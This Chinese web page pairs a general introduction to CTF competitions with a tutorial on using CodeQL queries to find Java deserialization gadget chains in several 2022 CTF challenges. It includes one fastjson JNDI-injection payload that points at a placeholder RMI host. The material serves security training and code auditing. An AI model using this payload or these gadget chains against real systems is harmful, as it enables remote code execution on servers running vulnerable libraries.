春日生活打卡季#

CTF（Capture The Flag）中文一般譯作奪旗賽，在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式。CTF起源于1996年DEFCON全球黑客大會，以代替之前黑客們通過互相發(fā)起真實攻擊進行技術比拼的方式。發(fā)展至今，已經成為全球范圍網絡安全圈流行的競賽形式，2013年全球舉辦了超過五十場國際性CTF賽事。而DEFCON作為CTF賽制的發(fā)源地，DEFCON CTF也成為了目前全球最高技術水平和影響力的CTF競賽，類似于CTF賽場中的“世界杯” 。

一、賽事介紹

CTF是一種流行的信息安全競賽形式，其英文名可直譯為“奪得Flag”，也可意譯為“奪旗賽”。其大致流程是，參賽團隊之間通過進行攻防對抗、程序分析等形式，率先從主辦方給出的比賽環(huán)境中得到一串具有一定格式的字符串或其他內容，并將其提交給主辦方，從而奪得分數。為了方便稱呼，我們把這樣的內容稱之為“Flag”。

二、競賽模式

CTF競賽模式具體分為以下三類：

1、解題模式（Jeopardy）

在解題模式CTF賽制中，參賽隊伍可以通過互聯(lián)網或者現(xiàn)場網絡參與，這種模式的CTF競賽與ACM編程競賽、信息學奧賽比較類似，以解決網絡安全技術挑戰(zhàn)題目的分值和時間來排名，通常用于在線選拔賽。題目主要包含逆向、漏洞挖掘與利用、Web滲透、密碼、取證、隱寫、安全編程等類別。

2、攻防模式（Attack-Defense）

在攻防模式CTF賽制中，參賽隊伍在網絡空間互相進行攻擊和防守，挖掘網絡服務漏洞并攻擊對手服務來得分，修補自身服務漏洞進行防御來避免丟分。攻防模式CTF賽制可以實時通過得分反映出比賽情況，最終也以得分直接分出勝負，是一種競爭激烈，具有很強觀賞性和高度透明性的網絡安全賽制。在這種賽制中，不僅僅是比參賽隊員的智力和技術，也比體力（因為比賽一般都會持續(xù)48小時及以上），同時也比團隊之間的分工配合與合作。

3、混合模式（Mix）

結合了解題模式與攻防模式的CTF賽制，比如參賽隊伍通過解題可以獲取一些初始分數，然后通過攻防對抗進行得分增減的零和游戲，最終以得分高低分出勝負。采用混合模式CTF賽制的典型代表如iCTF國際CTF競賽。

三、CTF各大題型簡介

PWN（溢出）：PWN在黑客俚語中代表著攻破，取得權限，在CTF比賽中它代表著溢出類的題目，其中常見類型溢出漏洞有棧溢出、堆溢出。在CTF比賽中，線上比賽會有，但是比例不會太重，進入線下比賽，逆向和溢出則是戰(zhàn)隊實力的關鍵。主要考察參數選手漏洞挖掘和利用能力。

MISC（安全雜項）：全稱Miscellaneous。題目涉及流量分析、電子取證、人肉搜索、數據分析、大數據統(tǒng)計等等，覆蓋面比較廣。我們平時看到的社工類題目；給你一個流量包讓你分析的題目；取證分析題目，都屬于這類題目。主要考查參賽選手的各種基礎綜合知識，考察范圍比較廣。

CRYPTO（密碼學）：全稱Cryptography。題目考察各種加解密技術，包括古典加密技術、現(xiàn)代加密技術甚至出題者自創(chuàng)加密技術。實驗吧“角斗場”中，這樣的題目匯集的最多。這部分主要考查參賽選手密碼學相關知識點。

WEB（web類）：WEB應用在今天越來越廣泛，也是CTF奪旗競賽中的主要題型，題目涉及到常見的Web漏洞，諸如注入、XSS、文件包含、代碼審計、上傳等漏洞。這些題目都不是簡單的注入、上傳題目，至少會有一層的安全過濾，需要選手想辦法繞過。且Web題目是國內比較多也是大家比較喜歡的題目。因為大多數人開始安全都是從web日站開始的。

REVERSE（逆向）：全稱reverse。題目涉及到軟件逆向、破解技術等，要求有較強的反匯編、反編譯扎實功底。需要掌握匯編，堆棧、寄存器方面的知識。有好的邏輯思維能力。主要考查參賽選手的逆向分析能力。此類題目也是線下比賽的考察重點。

PPC（編程類）：全稱Professionally Program Coder。題目涉及到程序編寫、編程算法實現(xiàn)。算法的逆向編寫，批量處理等，有時候用編程去處理問題，會方便的多。當然PPC相比ACM來說，還是較為容易的。至于編程語言嘛，推薦使用Python來嘗試。這部分主要考察選手的快速編程能力。

STEGA（隱寫）：全稱Steganography。隱寫術是我開始接觸CTF覺得比較神奇的一類，知道這個東西的時候感覺好神奇啊，黑客們真是聰明。題目的Flag會隱藏到圖片、音頻、視頻等各類數據載體中供參賽選手獲取。載體就是圖片、音頻、視頻等，可能是修改了這些載體來隱藏flag，也可能將flag隱藏在這些載體的二進制空白位置。有時候需要你偵探精神足夠的強，才能發(fā)現(xiàn)。此類題目主要考查參賽選手的對各種隱寫工具、隱寫算法的熟悉程度。實驗吧“角斗場”的隱寫題目在我看來是比較全的，以上說到的都有涵蓋。新手盆友們可以去了解下。

四、賽題情況分析

• PWN、Reserve 偏重對匯編、逆向的理解
• Crypto 偏重對數學、算法的深入學習
• Web 編程對技巧沉淀、快速搜索能力的挑戰(zhàn)
• Misc 則更為復雜，所有與計算機安全挑戰(zhàn)有關的都算在其中

五、常規(guī)解法

方向A：PWN+Reserver+Crypto隨機搭配

方向B：Web+Misc組合

Misc所有人都可以做

六、基礎知識&信息安全專業(yè)知識

推薦圖書：

A方向：

• RE for Beginners（逆向工程入門）
• IDA Pro權威指南
• 揭秘家庭路由器0day漏洞挖掘技術
• 自己動手寫操作系統(tǒng)
• 黑客攻防寶典：系統(tǒng)實戰(zhàn)篇

B方向：

• Web應用安全權威指南
• Web前端黑客技術揭秘
• 黑客秘籍——滲透測試使用指南
• 黑客攻防寶典WEB實戰(zhàn)篇
• 代碼審計：企業(yè)級Web代碼安全架構

七、刷題網站

1. i春秋訓練平臺：https://www.ichunqiu.com/battalion
2. XCTF(攻防世界)競賽平臺：https://adworld.xctf.org.cn/
3. 網絡信息安全攻防學習平臺：http://hackinglab.cn/
4. OWASP 中國：http://www.owasp.org.cn/
5. RedTigers-Hackit：http://redtiger.labs.overthewire.org/
6. 實驗吧CTF訓練營：http://www.shiyanbar.com/
7. 全國大學生信息安全競賽官方網站：http://www.ciscn.cn/
8. 合天網安實驗室 ：https://www.hetianlab.com/CTFrace.html
9. 封神臺：https://hack.zkaq.org/?a=battle
10. We Chall: http://www.wechall.net/sites.php
11. SQL Fiddle在線練習：http://www.sqlfiddle.com/
12. BUUCTF：https://buuoj.cn/faq
13. CTFHUB：https://www.ctfhub.com/#/skilltree
14. 游戲化平臺：https://microcorruption.com/login
15. SMASH THE STACK: http://smashthestack.org/
16. Wargames：http://overthewire.org/wargames/

八、工具集

1. https://github.com/P1kachu/v0lt
2. https://github.com/truongkma/ctf-tools
3. https://github.com/zardus/ctf-tools

言

CodeQL是近幾年很火的一個語義代碼分析引擎，使用CodeQL可以像查詢數據一樣來查詢代碼，編寫查詢用于查找代碼中的漏洞。筆者作為一名安全競賽研究員，嘗試使用CodeQL來協(xié)助CTF中Java題目的代碼審計。本文將圍繞著使用CodeQL來查詢Java中函數的流向，以及類與函數常用謂詞的運用，在CTF的代碼審計時快速判斷某個函數是否會流向一些可能存在利用的函數。

基礎的環(huán)境搭建

關于CodeQL的環(huán)境安裝教程，網上已經有比較多的文章了，這里就不贅述。給出幾個參考鏈接：

https://github.com/github/codeql

https://www.anquanke.com/post/id/266823

https://www.freebuf.com/sectool/269924.html

https://tttang.com/archive/1322/

對類進行限制

查詢的過程中，我們如果想要查詢某個類（或方法），這時就需要通過一些謂詞來限制這個類（或方法）的一些特征。

先從網上下載一個已經打包的數據庫：
https://github.com/githubsatelliteworkshops/codeql/releases/download/v1.0/apache_struts_cve_2017_9805.zip

在CodeQL中，RefType就包含了我們在Java里面使用到的Class,Interface的聲明，比如我們現(xiàn)在需要查詢一個類名為XStreamHandler的類，但是我們不確定他是Class還是Interface，我們就可以通過 RefType定義變量后進行查詢，如下

import java

from RefType c
where c.hasName("XStreamHandler")
select c

RefType中常用的謂詞：
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$RefType.html

getACallable() 獲取所有可以調用方法(其中包括構造方法)
getAMember() 獲取所有成員，其中包括調用方法，字段和內部類這些
getAField() 獲取所有字段
getAMethod() 獲取所有方法
getASupertype() 獲取父類
getAnAncestor() 獲取所有的父類相當于遞歸的getASupertype*()

獲取XStreamHandler的fromObject可以通過構造如下查詢語句：

import java

from RefType c, Callable cf
where
  c.hasName("XStreamHandler") and
  cf.hasName("fromObject") and
  cf = c.getACallable()
select c, cf

在CodeQL中，Java的方法限制，我們可以使用Callable，并且Callable父類是 Method (普通的方法)和 Constructor(類的構造方法)

對于方法調用，我們可以使用call，并且call的父類包括MethodAccess, ClassInstanceExpression, ThisConstructorInvocationStmt 和 SuperConstructorInvocationStmt

現(xiàn)在我們需要查詢有哪些地方調用了XStream.fromXML，可以構造如下的查詢：

import java

from MethodAccess c, Callable cb
where
  cb.hasName("fromXML") and
  cb.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and
  c.getMethod() = cb
select c

Callable常使用的謂詞：
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Callable.html

polyCalls(Callable target) 一個Callable 是否調用了另外的Callable，這里面包含了類似虛函數的調用
hasName(name) 可以對方法名進行限制

Call中常使用的謂詞：
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Call.html

getCallee() 返回函數聲明的位置
getCaller() 返回調用這個函數的函數位置

現(xiàn)在我們先構建一個mybatis-3的數據庫，通過CodeQL database create mybatis_3_db --language="java" --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"進行編譯，編譯完導入vscode就行

mybatis-3的下載鏈接：https://github.com/mybatis/mybatis-3

我們先編寫一個限制方法名為lookup，并且他所屬的類或者接口是javax.naming.Context的類，點擊快速查詢得到三個結果：

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
    this.getCallee().hasName("lookup")
  }
}

然后再編寫一個限制方法名滿足getter和setter的類，我們點擊快速查看，可以得到很多結果。

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters() = 1
  }
}

現(xiàn)在我們需要找到一個可以從getter和setter方法到lookup的路徑，這個時候可以利用edges和Callable中的謂詞polyCalls進行構造，通過查詢可以得到一個結果，也就是 fastjson 1.2.45里面的一個繞過方法。

https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/PrintAst.qll/predicate.PrintAst$edges.4.html

/**
 * @kind path-problem
 */

import java

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
    this.getCallee().hasName("lookup")
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters() = 1
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee() = endCallAble and
  edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"、

在CTF中的運用

gadeget題目

SUSCTF2022的gadeget題目考察的是：fastjson JNDI注入、JNDI注入繞過高版本jdk限制、繞過RASP等。

做這個題目的時候，有一步是需要我們找到通過fastjson利用quartz依賴包的gadeget觸發(fā)反序列化。

通過 https://github.com/quartz-scheduler/quartz 下載源碼包，然后通過以下命令生成數據庫：

CodeQL database create  quartz_db --language="java"  --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"

然后導入到CodeQL里面。需要注意的是，如果這個數據庫通過https://github.com/waderwu/extractor-java這個工具生成quartz2.2.1數據庫的話會導致查詢不到getTransaction函數，查看相應代碼的AST（抽象語法樹）發(fā)現(xiàn)，AST這里并沒有把getTransaction解析為函數。

然后通過如下的codeql語句進行查詢，整個codeql的查詢意義是先找到一個從getter或者setter出發(fā)的函數，是否能流到lookup的調用，并且這個lookup調用時的參數是存在相應的setter進行賦值操作。

/**
 * @kind path-problem
 */

import java

class LookupMethod extends Call {
  LookupMethod() {
    this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
    this.getCallee().hasName("lookup") and
    exists(FieldAccess f, Class cl |
      this.getAnArgument() = f and
      cl.getACallable().getName().toLowerCase().matches("set" + f.toString().toLowerCase()) and
      this.getCaller().getDeclaringType() = cl
    )
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    hasNoParameters() and
    getName().length() > 3
    or
    getName().matches("set%") and
    getNumberOfParameters() = 1
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee() = endCallAble and
  edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "fastjson"

可以發(fā)現(xiàn)掃到了很多地方，但是主要觸發(fā)點就兩個：

經過篩選，我們發(fā)現(xiàn)可以通過JTANonClusteredSemaphore的方法getTransaction觸發(fā)jndi

所以我們就可以構造poc，遠程可以收到請求，利用成功。

[{"@type":"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore","TransactionManagerJNDIName":"rmi://ip:port/h"},{"$ref":"$[0].Transaction"}]

ezjava題目

MRCTF2022的ezjava題目考察的是：bypass SerialKiller、反序列化鏈構造等。

題目環(huán)境：
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF/%E7%BB%95serializeKiller

題目對一些類進行了過濾，很容易想到出題人就是讓我們繞過限制，過濾了如下的類，結合之前對cc鏈的掌握，我們知道cc鏈在最后代碼執(zhí)行或者命令執(zhí)行的sink就兩個地方，一個是通過反射到命令執(zhí)行，另一個是通過TrAXFilter和TemplatesImpl的配合進行代碼執(zhí)行，他這里就只是過濾了最后觸發(fā)的地方，前面反序列化到LazyMap.get()都是可以用的。

這次生成cc3.2.1數據庫我用的是如下鏈接的工具(需要注意一點是在linux上面構建數據庫的codeql版本最好和在vscode里面使用的版本一致)，因為沒有安裝相應版本的jdk進行編譯，直接通過mvn構建時報錯。

https://github.com/waderwu/extractor-java

這里我選擇的是找到一個其他可以利用的點，這個點是可以觸發(fā)Constructor.newInstance的方法，具體構建查詢如下

/**
 * @kind path-problem
 */

import java

class NewInstanceCall extends Call {
    NewInstanceCall() {
    this.getCallee().getDeclaringType() instanceof TypeConstructor and
    this.getCallee().hasName("newInstance") and
    not getCaller().getDeclaringType().hasName("InvokerTransformer") and
    not getCaller().getDeclaringType().hasName("ChainedTransformer") and
    not getCaller().getDeclaringType().hasName("ConstantTransformer") and
    not getCaller().getDeclaringType().hasName("InstantiateTransformer")
  }
}

class GetterCallable extends Callable {
    GetterCallable() {
    getName().matches("transform") and
    not getDeclaringType() instanceof Interface and
    fromSource() and
    getNumberOfParameters() = 1 and
    not getDeclaringType().hasName("InvokerTransformer") and
    not getDeclaringType().hasName("ChainedTransformer") and
    not getDeclaringType().hasName("ConstantTransformer") and
    not getDeclaringType().hasName("InstantiateTransformer")
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from  NewInstanceCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
  edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "cc finder"

最后人工篩選確定使用FactoryTransformer.transform為新的觸發(fā)點，具體poc可以參考：

https://guokeya.github.io/post/tLCxJb1Sl/

https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#EzJava-%E2%80%93-Bypass-Serialkiller

ezchain題目

hfctf2022的ezchain題目考察的是：hessian反序列化鏈構造等。

題目環(huán)境：
https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezchain

因為這次跑CodeQL需要生成相應jdk的數據庫，所以關于數據庫的生成可以參考下面兩個鏈接：

https://old.sumsec.me/2021/08/18/CodeQL%20Create%20OpenJdk_Jdk8%20Database/

https://blog.csdn.net/mole_exp/article/details/122330521

在這個題里面的利用主要就是通過getter查找到二次反序列化點和命令執(zhí)行，但是這次沒有選用遞歸的形式，因為遞歸太慢了，不過有時間可以跑跑看還有沒有其他的點。

/**
 * @kind path-problem
 */

import java

class ReadCall extends Call {
  ReadCall() {
    this.getCallee().getDeclaringType().hasQualifiedName("java.io", "ObjectInput") and
    this.getCallee().hasName("readObject") and
    this.getCallee().fromSource()
  }
}

class GetterCallable extends Callable {
    GetterCallable() {
    getName().matches("get%") and
    this.hasNoParameters() and
    getName().length() > 3
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from  ReadCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
  edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to readObject"

但是在查詢getter到Runtime.getRuntime().exec時候，我測試了很多次發(fā)現(xiàn)都沒有辦法直接查詢到，因為從getter到命令執(zhí)行的地方是經過了java的native方法，導致失去了AccessController.doPrivileged方法的信息。

來看看在CodeQL中這一部分的數據是什么樣子吧，可以發(fā)現(xiàn)關于這部分的函數調用根本沒有解析出來。

import java

from Callable c
where c.hasName("execCmd") and
c.getDeclaringType().hasName("PrintServiceLookupProvider")
select c.getACallee()

所以我們就只好設置execCmd為終點了，這里也只掃了一層的，如果遞歸就可能要很久。

/**
 * @kind path-problem
 */

import java

class ExecCall extends Call {
  ExecCall() {
    this.getCallee().getDeclaringType().hasQualifiedName("sun.print", "PrintServiceLookupProvider") and
    this.getCallee().hasName("execCmd")
    or
    this.getCallee().getDeclaringType().hasQualifiedName("java.lang", "Runtime") and
    this.getCallee().hasName("exec")
  }
}

class GetterCallable extends Callable {
  GetterCallable() {
    getName().matches("get%") and
    this.hasNoParameters() and
    getName().length() > 3
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from ExecCall endcall, GetterCallable entryPoint, Callable endCallAble
where
  endcall.getCallee() = endCallAble and
  edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to execCmd"

ezcc題目

2022年數字中國創(chuàng)新大賽車聯(lián)網安全賽初賽的ezcc題目考察的是：Shiro反序列化、CommonsCollections鏈、CommonsBeanutils鏈的繞過等。

題目環(huán)境：
https://www.ichunqiu.com/battalion?t=1&r=70889

題目給了附件，大概看一下就明白是Shiro反序列化的利用，但是題目過濾了一些類。

這個時候可以利用之前學習過的poc進行改造，可以清楚的看到我們只需要找到一個 InvokerTransformer的替代類即可

https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java

其實熟悉cc鏈的應該一眼就看出來可以通過InstantiateTransformer來代替，因為在cc3和cc4中注釋里面寫的很清楚。

如果不知道這個前提的情況下我們可以怎么去思考，先看看 InvokerTransformer的作用，可以發(fā)現(xiàn)是可以通過反射執(zhí)行newTransformer的方法。

我們先看看剩下的transform里面，哪些看著比較好利用吧，直接快速查詢看看，發(fā)現(xiàn)總共就29個，挨著看看每個方法。

import java

class TransformrCallable extends Callable {
  TransformrCallable() {
    getName().matches("transform") and
    not getDeclaringType() instanceof Interface and
    fromSource() and
    getNumberOfParameters() = 1 and
    not getDeclaringType().hasName("InvokerTransformer") and
    not getDeclaringType().hasName("ConstantTransformer") 
  }
}
from TransformrCallable c
select c,c.getBody(),c.getDeclaringType()

這里就列舉一下有那些看著感覺可以利用吧。

第6個會調用某些滿足條件的create()的方法：

第7個，會調用Closure類的execute方法：

第9個，會調用Factory類的create方法：

第10個的時候，發(fā)現(xiàn)我們可以實例化一個類，這就代表著我們可以觸發(fā)一些類的構造方法：

第13個，會調用Predicate類的execute方法：

在這29個里面，我們就篩選出來了5個可能存在利用的地方，首先我們的目標就是要找到一個可以調用到TemplatesImpl的newTransformer方法的地方。

我先看找到的第一個可能存在利用的地方，CloneTransformer.transform函數后續(xù)操作。

如果有目標類存在clone方法，就直接返回new PrototypeFactory.PrototypeCloneFactory后，調用create方法，否則new InstantiateFactory后調用create方法，不過這里new InstantiateFactory的參數值不完全可控，所以利用不了

接下來看看第二個點Closure.execute，因為Closure是interface，所以采用getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")進行限制，得到了9個結果，但是看著感覺沒有什么好利用的。

import java

class ClosureCallable extends Callable {
  ClosureCallable() {
    getName().matches("execute") and
    getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure") and
    fromSource() and
    getNumberOfParameters() = 1
  }
}
from ClosureCallable c
select c,c.getBody(),c.getDeclaringType()

第三個點就是篩選Factory類的create方法看看有什么可以利用的。

import java

class FactoryCallable extends Callable {
  FactoryCallable() {
    getName().matches("create") and
    getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory") and
    fromSource() and
    getNumberOfParameters() = 0
  }
}

from FactoryCallable c
select c,c.getBody(),c.getDeclaringType()

發(fā)現(xiàn)結果中的第三個也是可以觸發(fā)類的構造方法，后續(xù)流程又回到了第二點后半部分的TrAXFilter類的利用了。

雖然有transient修飾，但是findConstructor又會給iConstructor進行賦值，所以這里是可以利用的。

然后我們在生成jdk數據庫里面找找有沒有那個類的構造方法可以調用到TemplatesImpl的newTransformer方法，編寫如下的查詢語句可以得到TrAXFilter的構造方法是可以觸發(fā)newTransformer，具體poc構造參考。

/**
 * @kind path-problem
 */

import java

class ConMethod extends Callable{
  ConMethod(){
    this instanceof Constructor
  }
}

class NewTransformer extends Callable{
  NewTransformer(){
    hasName("newTransformer") and
    hasNoParameters() and
    getDeclaringType().hasName("TemplatesImpl")
  }
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from  NewTransformer endcall, ConMethod entryPoint
where edges(entryPoint, endcall)
select endcall, entryPoint, endcall, "newTransformer finder"

Java的poc構造可以參考上面ezjava題目給出的兩個鏈接。

結果中的第四個雖然有反射調用任意的方法，但是transient修飾了方法名，導致反序列化時這個值會為null，所以這里利用不了。

結果中的第六個是無參的構造方法調用，也利用不了。

第四個點也就是會新創(chuàng)建一個對象，也就會觸發(fā)構造方法，所以利用方式就可以參考第一個點的后半部分，具體poc的構造可以參考：

https://mp.weixin.qq.com/s/SVPNzPE2Vos1VVGKOwGWeA

第五個點大概看了沒有什么利用的地方。

import java

class PredicateCallable extends Callable {
  PredicateCallable() {
    getName().matches("evaluate") and
    getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate") and
    fromSource() and
    getNumberOfParameters() = 1
  }
}

from PredicateCallable c
select c,c.getBody(),c.getDeclaringType()

總結

通過CodeQL，確實可以在代碼審計中提高了審計速度和避免人工查找時因馬虎而遺漏的一些關鍵點。同學們下次打CTF時，不妨嘗試下CodeQL，看看能否更快地拿到flag。

關于CodeQL在CTF的代碼審計的應用，筆者只是淺嘗輒止，希望能通過本文，引發(fā)更多師傅對CodeQL在CTF上的更多嘗試。歡迎師傅們交流討論。

參考鏈接

https://github.com/githubsatelliteworkshops/codeql/blob/master/java.md

https://codeql.github.com/codeql-standard-libraries/java/

https://codeql.github.com/docs/codeql-language-guides/codeql-for-java/

https://tttang.com/archive/1570/

https://tttang.com/archive/1415/

https://xz.aliyun.com/t/10707